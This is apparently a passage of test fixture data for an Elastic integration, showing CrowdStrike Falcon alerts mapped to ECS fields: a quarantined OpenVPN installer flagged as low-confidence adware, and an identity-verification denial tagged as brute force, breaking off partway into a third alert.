+ "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "rule_group_id": "1b27b7f123c44e15a13fe7f44801d123", + "rule_group_name": "Windows Group", + "rule_instance_created_by": "myuser@mydomain.com", + "rule_instance_id": "123", + "rule_instance_name": "INSTANCE-1", + "rule_instance_version": "1", + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"overwatch_note\":\"Activity Notice: OverWatch has observed XYZ\",\"overwatch_note_timestamp\":\"2025-03-01T15:31:00Z\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"rule_group_id\":\"1b27b7f123c44e15a13fe7f44801d123\",\"rule_group_name\":\"Windows Group\",\"rule_instance_created_by\":\"myuser@mydomain.com\",\"rule_instance_id\":\"123\",\"rule_instance_name\":\"INSTANCE-1\",\"rule_instance_version\":\"1\",\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + { + "@timestamp": "2024-08-19T18:44:01.100Z", + "cloud": { + "account": { + "id": "65ddx-c454-45f9-9034-Fdf34353" + } + }, + "crowdstrike": { + "alert": { + "active_directory_authentication_method": 5, + "activity": { + "browser": "Edge 126.0.0", + "device": "LAPTOP-AP7299QV", + "id": "2A8A7C96-0F17-412C-8105-94542784E00D", + "os": "Windows" + }, + "agent_id": "38293534662e48c99f33c61631b3536d", + "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "alert_attributes": 0, + "cid": "4446934rf3fdb64ec3056ddfb96e", + "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "confidence": 80, + "context_timestamp": "2024-08-16T18:43:44.242Z", + "crawled_timestamp": "2024-08-16T18:49:02.798Z", + "created_timestamp": "2024-08-16T18:45:02.987Z", + "data_domains": [ + "Identity" + ], + "description": "A user denied a policy identity verification request", + "display_name": "Identity verification denied", + "end_time": "2024-08-16T18:43:44.242Z", + "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "idp_policy": { + "mfa_factor_type": 32769, + "mfa_provider": 14, + "rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", + "rule_name": "admin - RDP Access to TIER-0 Servers" + }, + "ldap_search_query_attack": 16, + "location_country_code": "US", + "location_latitude_as_int": 340726, + "location_longitude_as_int": -1182610, + "model_anomaly_indicators": [ + "ACCOUNT_IMPOSSIBLE_VELOCITY", + "ENVIRONMENT_UNUSUAL_IP", + "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", + "ISP_DATACENTER_CLASSIFICATION" + ], + "name": "IdpPolicyIdentityVerificationDenied", + "objective": "Gain Access", + "pattern_id": "51143", + "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", + "product": "idp", + "protocol_anomaly_classification": 1, + "scenario": "suspicious_activity", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "severity": 79, + "severity_name": "High", + "show_in_ui": true, + "source": { + "account_azure_id": "65ddx-c454-45f9-9034-Fdf34353", + "account_domain": "NET.example.com", + "account_name": "admin.example", + "account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79", + "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733", + "account_sam_account_name": "admin.abcdef", + "account_upn": "admin.abcdef@example.com", + "endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0", + "endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158", + "endpoint_address_ip4": "81.2.69.144", + "endpoint_host_name": "ABDC454.net.example.com", + "endpoint_ip_address": "81.2.69.144", + "endpoint_ip_reputation": 128, + "endpoint_sensor_id": "38293534662e48c99f33c61631b3536d", + "ip_isp_classification": 9, + "ip_isp_domain": "sioru.com" + }, + "source_products": [ + "Falcon Identity Protection" + ], + "source_vendors": [ + "CrowdStrike" + ], + "start_time": "2024-08-19T18:43:44.242Z", + "status": "new", + "tactic": "Credential Access", + "tactic_id": "TA0006", + "tags": [ + "falcon_complete" + ], + "target": { + "account_name": "HFJFJFFFFFFF$", + "domain_controller_host_name": "APINTAL19DC01", + "domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2", + "domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512", + "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E", + "endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236", + "endpoint_host_name": "GH787.net.example.com", + "endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7", + "service_access_identifier": "HOST/admin.example.com" + }, + "technique": "Brute Force", + "technique_id": "T1110", + "timestamp": "2024-08-19T18:44:01.100Z", + "type": "idp-user-endpoint-app-info", + "updated_timestamp": "2024-08-19T18:49:02.798Z", + "user_name": "admin.abcdef" + } + }, + "destination": { + "domain": "GH787.net.example.com", + "user": { + "domain": "APINTAL19DC01", + "name": "HFJFJFFFFFFF$" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "end": "2024-08-16T18:43:44.242Z", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "kind": "alert", + "original": "{\"agent_id\":\"38293534662e48c99f33c61631b3536d\",\"aggregate_id\":\"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"composite_id\":\"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"confidence\":80,\"context_timestamp\":\"2024-08-16T18:43:44.242Z\",\"crawled_timestamp\":\"2024-08-16T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-16T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"A user denied a policy identity verification request\",\"display_name\":\"Identity verification denied\",\"end_time\":\"2024-08-16T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"idp_policy_mfa_factor_type\":\"32769\",\"idp_policy_mfa_provider\":\"14\",\"idp_policy_rule_id\":\"1B82F2DE-2A08-49E0-8F85-AD46996F9A65\",\"idp_policy_rule_name\":\"admin - RDP Access to TIER-0 Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"Gain Access\",\"pattern_id\":51143,\"poly_id\":\"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"High\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-45f9-9034-Fdf34353\",\"source_account_domain\":\"NET.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1567733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"E436B3F0-078C-4629-9437-D3E3169147C0\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293534662e48c99f33c61631b3536d\",\"source_products\":[\"Falcon Identity Protection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"Credential Access\",\"tactic_id\":\"TA0006\",\"technique\":\"Brute Force\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E\",\"target_endpoint_account_object_sid\":\"S-1-5-21-746137067-1844237615-1801674531-298236\",\"target_endpoint_host_name\":\"GH787.net.example.com\",\"target_endpoint_sensor_id\":\"ac89a368e77a4fa5837b53c7f11fc9e7\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge 126.0.0\",\"activity_device\":\"LAPTOP-AP7299QV\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"5\",\"activity_id\":\"2A8A7C96-0F17-412C-8105-94542784E00D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":340726,\"location_longitude_as_int\":-1182610,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"9F2CE16C-4A78-42E6-8565-87147707EE79\",\"source_endpoint_account_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-101158\",\"source_endpoint_ip_reputation\":\"128\",\"source_ip_isp_classification\":\"9\",\"source_ip_isp_domain\":\"sioru.com\",\"target_domain_controller_host_name\":\"APINTAL19DC01\",\"target_domain_controller_object_guid\":\"45A24DB7-6CD3-48C5-974F-A97159E7E2B2\",\"target_domain_controller_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-85512\",\"target_service_access_identifier\":\"HOST/admin.example.com\"}", + "severity": 73, + "start": "2024-08-19T18:43:44.242Z" + }, + "host": { + "id": "38293534662e48c99f33c61631b3536d" + }, + "message": "A user denied a policy identity verification request", + "observer": { + "geo": { + "country_iso_code": "US", + "location": { + "lat": 340726, + "lon": -1182610 + } + } + }, + "related": { + "hosts": [ + "NET.example.com", + "ABDC454.net.example.com", + "GH787.net.example.com", + "APINTAL19DC01" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "admin.example", + "admin.abcdef@example.com", + "HFJFJFFFFFFF$", + "admin.abcdef" + ] + }, + "rule": { + "id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", + "name": "admin - RDP Access to TIER-0 Servers" + }, + "source": { + "domain": "ABDC454.net.example.com", + "ip": "81.2.69.144", + "user": { + "domain": "NET.example.com", + "name": "admin.example" + } + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "falcon_complete" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0006" + ], + "name": [ + "Credential Access" + ] + }, + "technique": { + "id": [ + "T1110" + ], + "name": [ + "Brute Force" + ] + } + }, + "user": { + "name": "admin.abcdef" + } + }, + { + "@timestamp": "2024-08-19T18:44:01.100Z", + "cloud": { + "account": { + "id": "65ddx-c454-324d-9034-Fdf34353" + } + }, + "crowdstrike": { + "alert": { + "active_directory_authentication_method": 4, + "activity": { + "browser": "Edge126.0.0", + "device": "LAPTOP-ADFVEJM234V", + "id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D", + "os": "Windows" + }, + "agent_id": "58293534772e48c99f33c61631b3536d", + "aggregate_id": 